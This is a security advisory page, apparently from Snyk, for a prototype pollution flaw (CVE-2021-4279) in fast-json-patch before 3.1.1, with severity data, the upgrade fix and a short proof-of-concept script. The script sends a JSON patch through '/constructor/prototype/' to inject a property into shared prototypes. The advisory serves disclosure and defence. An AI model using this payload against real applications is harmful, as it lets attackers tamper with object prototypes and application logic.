Prototype Pollution Affecting fast-json-patch package, versions <3.1.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.49% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Prototype Pollution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-FASTJSONPATCH-3182961
  • published26 Dec 2022
  • disclosed26 Dec 2022
  • creditUnknown

Introduced: 26 Dec 2022

CVE-2021-4279  (opens in a new tab)
CWE-1321  (opens in a new tab)

How to fix?

Upgrade fast-json-patch to version 3.1.1 or higher.

Overview

fast-json-patch is a leaner and meaner implementation of JSON-Patch.

Affected versions of this package are vulnerable to Prototype Pollution via constructor/prototype in fast-json-patch.js.

This is another method to exploit SNYK-JS-FASTJSONPATCH-595663.

PoC

// poc.js
let fastjsonpatch = require("fast-json-patch");
function A() {}
let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
console.log("After : " + a.polluted);
console.log("After : " + b.polluted);

npm i fast-json-patch   # Install affected module
node poc.js   #  Run the PoC

CVSS Scores

version 3.1